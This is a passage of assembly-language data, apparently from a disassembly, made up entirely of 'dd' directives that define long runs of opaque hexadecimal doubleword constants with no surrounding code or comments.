		dd 0E4AC0104h, 6DB8D88Ch, 4A5338A8h, 0EE010218h, 2CDBBh
		dd 274E0B8Ch, 14A6F873h, 5D02C404h, 6C06CD31h, 8370C904h
		dd 4D3998A1h, 0A76CE418h, 37035F20h, 0B680014Ch, 787D0847h
		dd 6A900661h, 0E3F0D50Fh, 0B8AE5201h, 435D52C1h, 2CA180B3h
		dd 58D5BC89h, 7880C02Eh, 38AFF9D2h, 0D8105A62h,	8CBC88D6h
		dd 2A952158h, 2DCC26Ch,	0D573FC0Ch, 0B890E7B8h,	1103202Ah
		dd 75EA8195h, 1431B87Eh, 26B54C62h, 768CD639h, 0AB29E4C7h
		dd 36790308h, 0DF34001Ah, 9809C7Ah, 0F01E6346h,	1DD8085Bh
		dd 0B7615400h, 4644609Ch, 4B2802C0h, 17340C2h, 0C8989C74h
		dd 0C8E51E0h, 35EE098Fh, 0FA049479h, 0FF409CBEh, 6F7D5770h
		dd 14757C20h, 50B01CB4h, 264B86A0h, 0E729E20h, 9CACBED4h
		dd 30AD181Eh, 6F0E122Ch, 9EF88260h, 1A5150Fh, 9B7DCE40h
		dd 0E9866CD0h, 11A3405Ch, 0A5FBB12h, 689FF3F4h,	10B92350h
		dd 1B780941h, 83F89314h, 0C06FB9B2h, 300847C7h,	0DF955B0Fh
		dd 3410A07Eh, 0B034AC36h, 0E5747198h, 3FDFC026h, 0A3975480h
		dd 9CE0EBC4h, 43E2C960h, 2948B622h, 0C39CBB33h,	0A3A13EA5h
		dd 8F94011Ch, 83A0508Ah, 0A6742388h, 0C1D30AB4h, 5AB480DCh
		dd 43607670h, 0E68D9A15h, 37CD8118h, 6195470Dh,	0E28F40D4h
		dd 517149E6h, 0D88CF428h, 0B662E076h, 602960B0h, 48103E42h
		dd 4BB0386Eh, 820659Ch,	0AA141049h, 0A34AE0B1h,	29C565F8h
		dd 6F48C334h, 80F4F9EBh, 6E171A08h, 0EA7467E0h,	4310C014h
		dd 84132AC0h, 7678251Ch, 947FDA0Eh, 0DDC1B0A4h,	1B572056h
		dd 915B5401h, 8CA7C076h, 64EC489Dh, 48390030h, 0BEDB268Dh
		dd 0D63A0C90h, 5857DDh,	0C20A775Eh, 3067640Eh, 0E0983C74h
		dd 949122F3h, 0EB347AC3h, 94E10090h, 406EF682h,	79148B17h
		dd 14D4AC60h, 0C03442C0h, 0E1A3B592h, 0DEB4812Bh, 28965442h
		dd 0CEF85E06h, 8528F1FFh, 0EB1D82E4h, 0C513DD8Ch, 0C754A811h
		dd 6F94342Eh, 1B0B1442h, 0E772A880h, 0B8F5A0A7h, 0EB5F1E08h
		dd 4B8202Bh, 1CCCE10Bh,	6F013401h, 1CA04B79h, 60804C84h
		dd 54676B47h, 0C09CA0EEh, 798838DAh, 6068E230h,	8D298F68h
		dd 78408CC6h, 40198AB7h, 0A2517430h, 0C0A022E8h, 0F67B8672h
		dd 9468C109h, 4B9B71F4h, 0F99202A0h, 37B34D6h, 0A7C2EBB4h
		dd 0C98E5CB8h, 0FCBAA82Ah, 0A80FD434h, 3F8F3C70h, 0B0AA30E1h
		dd 0F50FF428h, 23CA757h, 0C209BB26h, 2F14019Fh,	0EC7820D1h
		dd 0AB17B615h, 0D82E812Ch, 31804D03h, 6F1B7734h, 0FE53E3A0h
		dd 0C39E8394h, 65DE8174h, 0A4B6B440h, 0A646E09Bh, 0E66D0514h
		dd 407ACC0Dh, 767E94A8h, 596281E0h, 615ADF90h, 0CC215590h
		dd 871544Bh, 27FB050Dh,	8C049404h, 86083CC1h, 0F205384Ah
		dd 2036ED97h, 76778CB8h, 350014AEh, 0D242977Ch,	71607253h
		dd 9033F65Ch, 4E1026BFh, 18AF0079h, 5393B366h, 75E7C20Eh
		dd 5A960140h, 11CD2373h, 190C1450h, 0D3EB31B9h,	0D4782050h
		dd 1CEDF35Ah, 7B61B33h,	0C380298Dh, 6FEE0E88h, 2965068Eh
		dd 78CAF42Bh, 9740E071h, 14B7745Fh, 44856A13h, 4CB872A3h
		dd 38C3B9DDh, 30A2ACC0h, 73088088h, 40C5A1EBh, 1C205B7Dh
		dd 20E02506h, 0A014C516h, 0E388D72Ch, 0F18E88EEh, 0D44182C7h
		dd 9EC08150h, 29931006h, 18C4484Ch, 59765FFCh, 412B3360h
		dd 88815C0Eh, 0C6B73699h, 256E4000h, 0B87B93FCh, 0BE0A73E8h
		dd 89B35AF8h, 83D31C3Ah, 0C0643455h, 0CDFDD708h, 0C72080CCh
		dd 0F81340C3h, 0B5B3A02Bh, 530E1B5Dh, 92A31021h, 0AB33580Eh
		dd 0C16095FFh, 0BDEF7105h, 40B30617h, 0F850D330h, 0F3EB2273h
		dd 3B01F44Bh, 6FA1A335h, 24C0FA52h, 0D300349Ah,	3DA2FD8Ah
		dd 66168Dh, 5602F82h, 0C03B91D4h, 61F91418h, 188DAB10h
		dd 992BF89h, 8A6206E3h,	7FEE9110h, 0F0320CC0h, 0A881700h
		dd 7E5DD2F6h, 0C407072Fh, 0C0713811h, 0AD458C43h, 80CE3F3Dh
		dd 3EA6E65Bh, 87862Fh, 0AF9F1FA4h, 34EA794h, 8800DDE6h
		dd 234D870h, 46F6F7h, 0ED10550Bh, 5AC92C27h, 0C5E82600h
		dd 6CA83F24h, 9274005Bh, 0E717D613h, 67F2DB78h,	7133F500h
		dd 0D8B48FE6h, 0B32100ADh, 0C848153Ch, 32F8BFB0h, 6E07FC00h
		dd 0E053F2B5h, 1C6200D9h, 18D34F52h, 630016FDh,	0BF405A7Bh
		dd 6B2DB8h, 0A834C5AAh,	881DD53Ah, 0EF01251Dh, 33E99CC0h
		dd 0F036B9CBh, 8F7000B1h, 0FA5A6A3Bh, 2B009558h, 6747AC68h
		dd 3B5B3EA9h, 6D00613Dh, 8C404CFFh, 133D152Fh, 30D33010h
		dd 54E3D8A5h, 3B0B43Ah,	497FB432h, 73C80FB1h, 6EFAC27Eh
		dd 0AD5373Bh, 0D0DE15F3h, 6A35F500h, 505FD418h,	138D14h
		dd 0A7D68A26h, 0E70B67FAh, 2B1341Fh, 8E310079h,	13ED73Fh
		dd 7B380084h, 81A97CBDh, 7801E4ACh, 20659044h, 0E7F845h
		dd 0E65EF060h, 142FC07Fh, 0DD53EF00h, 0BFF8D607h, 1469E658h
		dd 0B0C7037Dh, 281D3800h, 0DE4C6DC2h, 0C439D800h, 0F6F499B5h
		dd 229D00E6h, 18E89554h, 9009214h, 0E1310B3Fh, 4686A3Eh
		dd 0EFD965CCh, 7420807Ah, 42025906h, 2FABF387h,	0DE1240BAh
		dd 89F200F9h, 90B2B596h, 2600F03Ah, 7AD77E0h, 1759708Eh
		dd 7C8071h, 0D5CBA72h, 3600F26Bh, 0D3B42693h, 977F91Bh
		dd 91A52E1Eh, 0C727000h, 0A080B065h, 744F025Fh,	707EF056h
		dd 93781C48h, 12BE313Fh, 47000921h, 0E3DDD02Bh,	82B80084h
		dd 896EDC99h, 703AC453h, 0B7EE8009h, 0E0E9B1B4h, 4BC100C9h
		dd 7AE46E9Fh, 3B006D6Bh, 0D8ADEFF5h, 0B12C654h,	9D425557h
		dd 7C212C80h, 29C47D2Dh, 0FB449F31h, 0BEC14211h, 823B0161h
		dd 957D0138h, 5CA72A10h, 40D56580h, 0A207860h, 9499443Dh
		dd 3773B8B8h, 0A5672A03h, 98D14086h, 3C1B32Fh, 0A1B6839Ch
		dd 13CAE7B5h, 193AC3C0h, 0C4351003h, 0C8BBDEBFh, 0B05214h
		dd 0C391CEDh, 7873B37h,	0DE5BF800h, 0B46243C0h,	8EE0050h
		dd 0DD0C0416h, 0A0002874h, 0A9A8AE3Eh, 9A5260h,	2F26C6CDh
		dd 41E77B35h, 33393Ch, 0CAC7FB66h, 1AC140h, 0E2928694h
		dd 0D70CABEDh, 2ECEF00h, 6B4B2D1Eh, 395A00ADh, 7F782FCDh
		dd 7C009C76h, 0B9913CC0h, 4898AF60h, 0AD005504h, 2474CEB0h
		dd 0FC12595Fh, 430049F7h, 25866DE0h, 3ABA008Bh,	0E8518058h
		dd 45F02335h, 0E62C4200h, 0CBF2D62Bh, 800760E2h, 0DB8F1C39h
		dd 30D23Ch, 3693578Dh, 39446531h, 0A7806B66h, 0D52376C2h
		dd 0E2F671DBh, 8912EB76h, 0EE0332FBh, 0C09F8F3Ah, 0B040DCCCh
		dd 0F19E053h, 2A5EBB12h, 9199DE60h, 92005789h, 7CEE08D1h
		dd 73F6AB80h, 43FCC0h, 6907B8CAh, 0C744E611h, 0FA8FEE00h
		dd 745054C5h, 20230032h, 0BB1FD42Fh, 5601E30Ch,	3C3739ECh
		dd 60EEA8A5h, 2B90C8h, 35B4112Fh, 1092AA5Ch, 0E5380F00h
		dd 0B0AE36DCh, 9F7D07FDh, 20FC0443h, 0FBE29C73h, 7727C200h
		dd 1BEADE4Bh, 1DAC1299h, 83E11CC7h, 1CF68528h, 0DC87ADC0h
		dd 6A948B00h, 0B00AE2E8h, 0EC5A003Ch, 0D73E0B0Ch, 0E30095CDh
		dd 5955F254h, 7E42DD9h,	0C7DEF8EFh, 0E60BC0D1h,	4F0F827Ah
		dd 4F481D9Dh, 0CE374084h, 15F3F52h, 0C6D2031h, 0C94FCF2Eh
		dd 4B7BFC66h, 9722AF0Eh
		dd 6DBD0032h, 0B982E5h,	5B3CFA51h, 0FF98D912h, 0F96528C0h
		dd 0F63F7ABh, 3D437E9Dh, 0C1807A2Fh, 0DD1D81C3h, 7D022200h
		dd 0BCE95767h, 0A98C000Fh, 183DCAC2h, 0BA004F83h, 32E4B611h
		dd 0AEBD67h, 0F5FC7770h, 14502C3h, 1FB2AA00h, 0B0431BE3h
		dd 19800324h, 50E43241h, 0C7359BA0h, 0F97B201Fh, 56F100B9h
		dd 0A8EDC669h, 982701C3h, 0C2F74BD7h, 5E36E8E4h, 66C52200h
		dd 854DB29Ch, 0E21F0106h, 472A4EAh, 44343063h, 8AAEEE07h
		dd 1910E6A2h, 0E88F54CBh, 0FE5C9023h, 1BDE16F6h, 2776407Fh
		dd 7D1246Fh, 0B09B9E00h, 0DEBD15C9h, 0A5D0066h,	0AFA1CAB7h
		dd 7005E52h, 18B3EE38h,	704FDF9h, 1BFA1E7Dh, 0F6400C0h
		dd 39005358h, 9DB7989Bh, 7F3BB6F6h, 0F8B4A0E9h,	1EBE00CBh
		dd 0CEDD35BAh, 4F010F71h, 5E9D698Fh, 40E09763h,	14364C2Fh
		dd 1E418100h, 3DA49572h, 0A325405h, 80EEACCDh, 65E3077Dh
		dd 23A38000h, 4C70C35h,	6AAE0061h, 3C62EB86h, 990C27EEh
		dd 200252CCh, 8DF41Eh, 43252FE9h, 0DCB7BD0h, 7DEB201h
		dd 44E11B8Ah, 7472E460h, 0F6C74EBh, 93D73806h, 484C30F2h
		dd 1300713Bh, 7505C6D1h, 2EA7A0A1h, 1D1CD73h, 0EF935CFDh
		dd 0EF0802Dh, 0F3E3486Eh, 175E7E45h, 75DAF4Fh, 0B067285Fh
		dd 5ABC01F5h, 59623400h, 0D8FE7C65h, 8DB50046h,	44E89383h
		dd 27004A53h, 0F19C1141h, 7B637C7Eh, 0E32400D6h, 5D50B137h
		dd 0A2C302Ah, 32037044h, 0C84389FDh, 2FF29AACh,	6A7E54A0h
		dd 19F0A700h, 0F4A9D472h, 0DA200753h, 5061956Fh, 0A7E08330h
		dd 0EF010BB8h, 0FE844B3Dh, 0FFD4C2D4h, 99E8001Ah, 28BE1B1Dh
		dd 52027161h, 0D86ACB03h, 0C5988037h, 1D9BC32Dh, 8084EF69h
		dd 0C0D23E0h, 7F719A29h, 0CEC812Ch, 0A85ED402h,	867D00E5h
		dd 7200953Ch, 0B50E943Fh, 244C8713h, 0E3E9h, 0E7AC4DF7h
		dd 22FCBB32h, 55A1EB00h, 70963730h, 0E6DD0365h,	4174F849h
		dd 3CF485A8h, 0F71E4600h, 457B3606h, 8BF50EB4h,	0DA29C857h
		dd 305CB480h, 4100B334h, 68D785F0h, 4CAD7B27h, 320091D3h
		dd 2A11B07Dh, 0B8007A22h, 7344853Ch, 38C5092Ch,	209F7E42h
		dd 33F340E4h, 8F0363E3h, 33D3AE24h, 85216501h, 0F0F755A3h
		dd 304EDFh, 0C0BFB820h,	0EBE70DA7h, 0F178CD00h,	385999D5h
		dd 66A1390Ch, 947D600h,	97C9DD56h, 34907B07h, 0E910B539h
		dd 75EA25h, 0FEA3B616h,	0AA42A596h, 0C0742600h,	7DDBA10Bh
		dd 49321FBEh, 1DE38F7Ah, 0E79A823Fh, 54C89B4Bh,	0C91E03B5h
		dd 7D40DAFFh, 319D9932h, 0D6330323h, 5FE3E4A9h,	0F082CBE8h
		dd 0A19C440Fh, 0AF8E80ABh, 2D1657h, 92741EF4h, 272EE1E3h
		dd 0D3F2E700h, 0B76C2C0Ch, 0E95B2CD2h, 3CCE07Ch, 3416F3DAh
		dd 7800816Ah, 0E03A6758h, 2C087551h, 6C9ADBh, 9F6BFC60h
		dd 0C300BB72h, 63791E73h, 185A6595h, 291CF190h,	360E922Bh
		dd 2150F280h, 7EA144B7h, 0DE80461h, 0C70400ACh,	0B4477211h
		dd 0CB0BDD40h, 0FD5638Bh, 0E1F941D0h, 66F41254h, 200707E9h
		dd 0B0B9D4E5h, 0D3F66974h, 6800E0B0h, 3AF35342h, 4D40C6Fh
		dd 0A48F1F5Ah, 206D80B2h, 7100459Dh, 84DA46E8h,	0F41C7Fh
		dd 0CC01A6F3h, 8B912644h, 3539BE00h, 4B071ADCh,	626439A9h
		dd 0CDDA1500h, 0AAC43347h, 0BA3EEC13h, 8C3A6000h, 1E9F6587h
		dd 0C2FE54C6h, 0F11D9267h, 0DEDEAC0h, 5C5D1624h, 7C4B8F3Ah
		dd 2A42602Eh, 0E0A0415Ch, 0EA5B8E8h, 658A248h, 0C760CEEEh
		dd 3E5CAACh, 0D1C37428h, 59C63Ch, 34F7A176h, 0B90EC7h
		dd 58177B11h, 1999768h,	8BFFAC07h, 0D3335EA7h, 0FB32E86Ch
		dd 937D0FB6h, 16E0A067h, 4B9A05D0h, 5B21AA04h, 4FE05EDCh
		dd 0D8670083h, 6B6FABDh, 640FBBA2h, 0E0871F44h,	97D09322h
		dd 106C006Dh, 0AC335EF6h, 59003D0Ah, 8449095Bh,	3E7DE9Bh
		dd 0A6C0EB87h, 97E8F4EAh, 9600C326h, 0DD8E333Ch, 124CDA1h
		dd 5E8AB7D7h, 40596BA2h, 23E921E4h, 0C9436900h,	0C702D239h
		dd 0A5E200C5h, 0FA9CD14Dh, 0CC07ACF2h, 89FE503Bh, 33AE0BEh
		dd 0C85A09h, 5EA1275Ch,	32B57743h, 0EDBC2603h, 3EE074h
		dd 4106E18h, 0F4387934h, 8165D13Fh, 0C733077Dh,	0ACBD09D3h
		dd 0FC39E100h, 7890A440h, 8D162E00h, 0F26D7B3Bh, 0FD340029h
		dd 78B64A6h, 680077E4h,	0C3416FF8h, 0BCE136h, 0BEAD3280h
		dd 0FFA2EEF3h, 7B5DBD1Fh, 0DD3080F9h, 77763C64h, 0E2BB1F8Bh
		dd 0C2B04007h, 0CBDC4FA8h, 14754500h, 8F119A28h, 6B7900E5h
		dd 173E7E77h, 2D026203h, 0F4DD4912h, 2117C01Bh,	5BF80E05h
		dd 36C00B15h, 1E9AF75Fh, 8B57B739h, 0F533FCFh, 651B40CDh
		dd 79AEFEh, 30231251h, 0F5D9137Fh, 8EF76100h, 3EE167D0h
		dd 31DB03FBh, 0C10B83FCh, 219E17F0h, 20B1EF00h,	0A4AE54EEh
		dd 269A00BDh, 7A44F328h, 2E1DCC32h, 2B9C93FFh, 0FC00B11Eh
		dd 19AD2FA5h, 24E700C4h, 0AC208FB6h, 0B70560D9h, 29AEE6F8h
		dd 0C8429580h, 0C35F008Ch, 52F163CAh, 0A7006C68h, 8E20851Ch
		dd 0F42B7E5h, 13D82F59h, 0FB62BB00h, 0B800DE16h, 0FACC33C8h
		dd 0BC4C99h, 2FD7C6B1h,	412D2AB0h, 6EAE700h, 7105EDEEh
		dd 785400D9h, 517B7E0Bh, 0D00D05Ah, 0B97FABE5h,	39CC0C4h
		dd 0EEEBA6F2h, 8C2C2B1h, 361740D7h, 0FA5D00C5h,	0AABA2BB2h
		dd 7100061Bh, 3BD22F72h, 245FB515h, 56BDEh, 9D5C54BEh
		dd 2B039503h, 19EB7E57h, 9F1488C9h, 3E49839h, 0E59CE9CDh
		dd 0CAD8949Dh, 5C070950h, 2668AA65h, 40DCB6F0h,	8B37001Ch
		dd 0CFA92DEDh, 0BC00BBE6h, 0ABAEB1C3h, 0B05157h, 0FBF8A418h
		dd 35E55CDDh, 2B5BE100h, 0D3F50E95h, 0B8771E1Eh, 7BE41E2Ah
		dd 0FBF09D80h, 18E2BD08h, 0D7572D02h, 402092BFh, 0E28C416Eh
		dd 0E4B300FDh, 5E61CE7Eh, 760055E5h, 0E606E80h,	0B49C17h
		dd 1CBBA7D0h, 1AC838ABh, 0F3AFDF00h, 9E379395h,	0D43167A9h
		dd 0ADCE000Ah, 33FC29ACh, 67094300h, 0D286A7C1h, 59B607ABh
		dd 40E84280h, 0D3DB5C77h, 6015E300h, 6EBF21DCh,	76E9004Bh
		dd 1D95558Fh, 990F5749h, 60C1F8D8h, 9C656C0h, 0C4160E96h
		dd 4FC08793h, 0D0EB46ACh, 0ED665301h, 3686767Ch, 0A760DCh
		dd 918AFB85h, 122C0EC2h, 0FB2A324h, 0C0881103h,	6897F8DEh
		dd 0F30700E1h, 60D19169h, 32FA766Bh, 585C1F3Ah,	48B80066h
		dd 9449BF90h, 9335007Ah, 984F2089h, 0EA005DEBh,	31B5B21Fh
		dd 3F9E130h, 2CDB6DC2h,	4906191h, 0D0004D1Eh, 0EE99CD7Eh
		dd 41FA17h, 48A67F77h, 0DA66C298h, 55004DF0h, 2B9CBBA3h
		dd 1EB18E12h, 7DDDC87Dh, 5278FC80h, 46CAF11Eh, 2E99AF07h
		dd 0F0B0117Fh, 2B6703h,	7C0A733Eh, 0DBF508EDh, 0A452DF01h
		dd 6DFB221Fh, 73276AD4h, 0B8764C3Bh, 5D504C00h,	190643C9h
		dd 7CD27005h, 0FB9DB1h,	0F6B0CA5Fh, 0F00CD86h, 7D8221FDh
		dd 7D9C4D0h, 6B11BB2Eh,	0EFCFE002h, 0C900D538h,	4AA1143Dh
		dd 6E61B6h, 448F485Dh, 270CE6AAh, 8AE12E00h, 6A5574ACh
		dd 9A4A0066h, 0AD1F9767h, 0B100CB6Ch, 8683757Fh, 0F7DE496h
		dd 0D42BEF9Fh, 894A003Fh, 15369154h, 77D02Eh, 0F8DE5500h
		dd 7CB383D5h, 5F490397h, 0C17F262Fh, 732CA81Dh,	51340078h
		dd 808519F5h, 0C0B1014Dh, 6BD365A1h, 4ED5F00Bh,	0E63B9C00h
		dd 0B027204Fh, 30DF00A6h, 9FBD929Bh, 4D762446h,	0DE005476h
		dd 0C4CD3EF2h, 0CEACBBh, 0C759602h, 68B5EA43h, 980DE8A0h
		dd 8BC54C39h, 86172F2Bh
		dd 903D0Eh, 0EB5FBCD4h,	62B66052h, 0C3992500h, 17CB9D26h
		dd 805E0083h, 47946158h, 2C00E6C4h, 0FAE4E5D7h,	32A96E2h
		dd 0F2A2240Ah, 34E097CEh, 86008A0Ch, 0D8771954h, 60AE3C1Ah
		dd 15C510E9h, 0B7005FB4h, 0EB4AB2BDh, 0E86A53C1h, 8EF8EFh
		dd 0F5151367h, 5C71D30Dh, 1F604500h, 41EEA8DDh,	110F627h
		dd 4C2E939Eh, 0ECCD8408h, 0D000DB5Fh, 2C9D8AC2h, 0FF9F063Bh
		dd 18C2020h, 22AAA44Bh,	20BA7EDAh, 460E94ECh, 0D8CB699Ah
		dd 0F06CA2D8h, 0EFB60054h, 72148A03h, 0FA00C1A0h, 71F9F80Eh
		dd 0F0B4E2CDh, 78AA0053h, 109F6D50h, 910E88D5h,	40438AD9h
		dd 0F9769680h, 0CBFC0Ch, 0C3A55C92h, 4DC88165h,	86ED2E00h
		dd 0ADFA1A45h, 42E2AEh,	6D48D458h, 41E0CEC2h, 91180E1Dh
		dd 0F9B98380h, 1619654Ch, 9FE14Ah, 741264B3h, 5701B8F7h
		dd 13F8F21h, 0C4403516h, 1C46D07h, 0D3ACE37Fh, 404072FCh
		dd 4EAE87B5h, 0ABEDBF00h, 94F94204h, 23460095h,	0F133BC0h
		dd 8B007CEFh, 0E94A811Bh, 0EAAFD6h, 12967622h, 0BD1C74AAh
		dd 0F454F101h, 82881B0Fh, 0C0FFD4h, 4C8B6F1Ah, 0A12EFA8Ch
		dd 59BE2D00h, 1CF667F7h, 4D5D0256h, 0C370A9DAh,	24EB9281h
		dd 5F8AECB7h, 0C984E954h, 38678000h, 0D5E39606h, 9584C60h
		dd 62E14E00h, 5FAC29A3h, 0AE6D8000h, 0A2BDF118h, 8EED000Fh
		dd 0CCDDF581h, 91009F6Ah, 6F0C3169h, 1F068DA8h,	5C23E6h
		dd 4A95C038h, 54007F47h, 48622D3Dh, 0DB1380h, 2FF3087Ch
		dd 30C6E85Fh, 9A96F800h, 380F9D7Fh, 9CE100CEh, 6A2A10B1h
		dd 0D0FC612Eh, 209837Dh, 81280D21h, 9E26A0DBh, 791433E4h
		dd 0EFE80732h, 0B6AD188Ah, 1D581030h, 2331007Bh, 10A5C969h
		dd 2418C033h, 0E64255E3h, 7E986A00h, 2E6D585Eh,	0E050B021h
		dd 3AA79D6h, 0CA337219h, 0E988916Fh, 0F200B7D7h, 12AFD2C5h
		dd 0E8FB4E6h, 0F67EF019h, 9DBC9EA0h, 2007E254h,	0FED8DA37h
		dd 6B5B7260h, 5C140063h, 0D1B226AEh, 8F04BADEh,	0AA2B7C12h
		dd 20A92080h, 23AB07D4h, 67EA6E0Bh, 62DDA346h, 6955AFE0h
		dd 5100B7F0h, 7ECFA47h,	16CAEEh, 0B55CE206h, 1FCE8341h
		dd 0E000D6FEh, 9C89EBF2h, 4D48BFh, 1174FE9Eh, 0E33D1F43h
		dd 5800AB78h, 5E7F4AE8h, 7A454EFh, 0F9776A9Eh, 9179209Dh
		dd 0C00EA018h, 434675F1h, 98D1767Ah, 1661BCFh, 0C4AD0FF0h
		dd 87B8B281h, 0E060F710h, 384AF2E0h, 0C604005Ch, 533E130Ch
		dd 681FCF79h, 44C02F23h, 161B57Dh, 553300EFh, 7A8CF5ADh
		dd 0A3705ADCh, 43B60500h, 7B70E0E4h, 99C80025h,	7C497636h
		dd 0A1037A15h, 38B14E6h, 66ADE0DCh, 0D7270018h,	0D8D137C9h
		dd 0F74B9CE8h, 7C0085E8h, 7BC94C6h, 8C00EE54h, 824F671h
		dd 435109h, 722FA091h, 65E832B2h, 0BBA99F0Eh, 0C24460F7h
		dd 495431h, 7BCCC978h, 2C864822h, 90AEF007h, 6E000C20h
		dd 725DC661h, 5CE60058h, 96D341CFh, 9F00FC09h, 0C88C7B99h
		dd 382C946Dh, 42170EA0h, 0C5AB008Dh, 288655E1h,	9E8E7B00h
		dd 0D5CD9AAFh, 7F3600E7h, 5A7633A2h, 2D00D3D9h,	3F6A4B1Ah
		dd 0E7FD3Ah, 74D7727Eh,	12511339h, 73B8BD07h, 59079BA9h
		dd 0F4974290h, 0B40800D6h, 9D50FB3Eh, 3D039FE2h, 577DCAA4h
		dd 17118023h, 3822B8B7h, 0C78025F3h, 26D7543Ch,	88004964h
		dd 820E926Dh, 3A84C99h,	429ECCF5h, 0C7E8010Ah, 0FD00839Bh
		dd 0DED78D51h, 0E1897E7h, 5E56874h, 6B39CCA0h, 845BB5E6h
		dd 0F03D44BCh, 52FF2B01h, 0CCF253D6h, 8FFC817Dh, 0F9640600h
		dd 57E63903h, 0DAA5000Ah, 0D9926C1h, 0CD00D763h, 4D5B53FDh
		dd 1738D85h, 0D2CE0A7Bh, 0F7F9FF7Fh, 6E59DCA0h,	0BCEF8900h
		dd 0C5B04E24h, 2FE4A0h,	47D2250Dh, 0D6D755DBh, 0C75DA600h
		dd 0DDE4BF45h, 4CC0E85Bh, 0C13B5A75h, 6F2FFD80h, 82225934h
		dd 2847EC06h, 1268ACh, 0C5EF9A2Ch, 0CBC14F4h, 0C4138F00h
		dd 0F949744Bh, 0D7AC3781h, 3641CF70h, 0E0C68EEEh, 1603199Ch
		dd 20B72127h, 35F1A029h, 21E96270h, 1C809482h, 6A4E9F1Dh
		dd 3F674939h, 3F7C0074h, 3D22C6EBh, 8C710033h, 7BD7A98Dh
		dd 16581720h, 950E015Eh, 68F40D30h, 309860F3h, 0D4263246h
		dd 477A1700h, 80F4B5B6h, 0B85800D6h, 0E2227C20h, 44A36F40h
		dd 99BF61F0h, 4C837607h, 6A1DDA0h, 0FEF4C031h, 47D30018h
		dd 8616A269h, 0AD003097h, 0A0ECB390h, 149E8FBh,	51DCB777h
		dd 7045E59Eh, 107C5251h, 5F483807h, 0C700417Ch,	1C1F22h
		dd 0CA172D76h, 63B6A98Fh, 0DC00A0ECh, 0DB5406Ah, 3D4290DDh
		dd 31068EFFh, 0E0C275A7h, 2FA68F05h, 0DEC058BFh, 3A361255h
		dd 7A304B96h, 0BF26E021h, 98C72400h, 0DBE5419Bh, 0C27194h
		dd 51A6A471h, 8AA28891h, 8DAF9606h, 8038D6C1h, 158CC380h
		dd 88E80B27h, 7F82ED05h, 22F3C24Dh, 132AD483h, 311339E3h
		dd 9A1E6E2Eh, 15DC4D80h, 15B2DD02h, 587E7B31h, 0CCBE7301h
		dd 0C497F3Bh, 0D4235019h, 0A9643FF4h, 0B26CD80h, 1089D8F3h
		dd 4E4A8200h, 0D6C09DEAh, 6FAD0C04h, 50610C69h,	81F0C18Ch
		dd 53482749h, 21019130h, 64A88001h, 0DCC83C3Dh,	3F310097h
		dd 9894C91Fh, 9D0E08A1h, 0C32C6BDFh, 0F8B05E1Eh, 0F45C50h
		dd 0EC9E9C27h, 3577FF68h, 2F82AFCh, 0E247E30Eh,	799E3F9Bh
		dd 0CF4D4440h, 0AE74F2h, 37E204Ah, 54AAD3E8h, 0F552601h
		dd 1BFE7B05h, 0A690F8EFh, 15C800A3h, 0D070DE1Ch, 0D002311h
		dd 0EE2E55F2h, 0F88E679Dh, 6DF73A53h, 0A9C5D00h, 0D97916D3h
		dd 1ED5F41Dh, 0E9A02000h, 2ED77CB2h, 5DF644h, 6B54AE43h
		dd 0EB0FF113h, 0C06D0687h, 0D30949B3h, 0DFD70D32h, 0B60A070h
		dd 9E298504h, 0AA041810h, 0C6744880h, 5785491Dh, 1E88A180h
		dd 0A35D5Fh, 0CB378708h, 0B6A855B1h, 491C7700h,	959B1EBBh
		dd 9698A9h, 82E2721Bh, 580FB67Ah, 0CD603175h, 0E7132F50h
		dd 947700A2h, 848321C7h, 0C31D1B1Ch, 0E640A4C1h, 686DBFBAh
		dd 0DC6E0294h, 3C9FA199h, 0F423209Ch, 142E00A1h, 0EC6481E7h
		dd 71CE5103h, 0A684A1DBh, 8D0E03C8h, 0D5A94D2h,	820627C7h
		dd 8809342h, 0D0988E5Bh, 0A30B8B00h, 0E9851674h, 0FB4707F6h
		dd 0C08901E6h, 0A91C990Ch, 5C1BD100h, 0CAA04B84h, 5D6B00E4h
		dd 29E1659Bh, 0CE06E52Fh, 0A2ECC73Bh, 0FFDA0070h, 0B189B0A0h
		dd 6526815Eh, 0E4004F7Ah, 4CD65FFEh, 0B6DD000Eh, 35D6C57h
		dd 2EE388Dh, 81CD2406h,	0CA384076h, 0B16B60h, 0EF4FFFE4h
		dd 3C655263h, 20400C10h, 0C9138E2Dh, 0CCE12360h, 0B0690DE9h
		dd 70A2008h, 92A7788Ah,	78800477h, 0C0B78545h, 334224E7h
		dd 20B607h, 0E52EDB01h,	7BF897EBh, 69D628C0h, 70E4224Eh
		dd 929D004Ch, 0A85A1B21h, 0DB003825h, 4A73C563h, 7C6C6A2Bh
		dd 35ED005Eh, 0CE403E7Eh, 907864Bh, 8A2E274Dh, 20409E85h
		dd 86F03896h, 0A76942C4h, 4A1F3244h, 5D4E5A2h, 47D266E8h
		dd 40B580DCh, 0E28988AEh, 0B764D30Fh, 0DC45816Ch, 820DA81h
		dd 855C3FE9h, 0A3F178Fh, 2C802015h, 0E3BB8424h,	6F8B888Fh
		dd 1BE4A70h, 0D3E94B2Bh, 0F6D5890h, 6C610208h, 6B5503EBh
		dd 0D53AC8CAh, 0EF5014D3h, 0B2B0201Ah, 40AE6AC2h, 92212F7Dh
		dd 0D6CA5130h, 0B6DC20B0h, 0EE8C9508h, 43200451h, 81A94216h
		dd 0EE4A180Bh, 0B7170085h, 0DB8F757Ah, 0A405BF9h, 206C6F3Eh
		dd 0ED5A2EEh, 0EC60BC31h, 26D8BF0Dh, 0AF8A5B09h, 0BADC008Bh
		dd 1CE9194h, 4DA6D4B0h
		dd 0E0502FBEh, 0A839617Ch, 9C1F8113h, 3F747ABDh, 1C709F0h
		dd 0A6B03783h, 0E0145A9Bh, 10982661h, 220A453h,	89B4E017h
		dd 85213E9Bh, 0F33B00A3h, 24F9A9B7h, 580C4200h,	0F7990354h
		dd 3A77C37h, 12EB8A86h,	36E16A2Dh, 7F11E091h, 0C231EE4h
		dd 9BE50229h, 37E973h, 0E4C13F9Bh, 4285D882h, 1147AD9h
		dd 0F0FB3FA0h, 1F021368h, 99E0E121h, 0AFFC5B20h, 0F0051040h
		dd 5723FA93h, 0D09E20FFh, 12F1E07Eh, 0A1D7421Bh, 3700014Dh
		dd 2D88B6D0h, 0E32B0095h, 47BF7A5Ah, 0F400C4DAh, 0ECDF17C1h
		dd 3A39FDDBh, 5E818CA8h, 0D99446CDh, 0B2CCF04Bh, 0D0E8CB5Ah
		dd 20E84C14h, 91F98BC0h, 0FE47A88Dh, 28599C84h,	81F505F0h
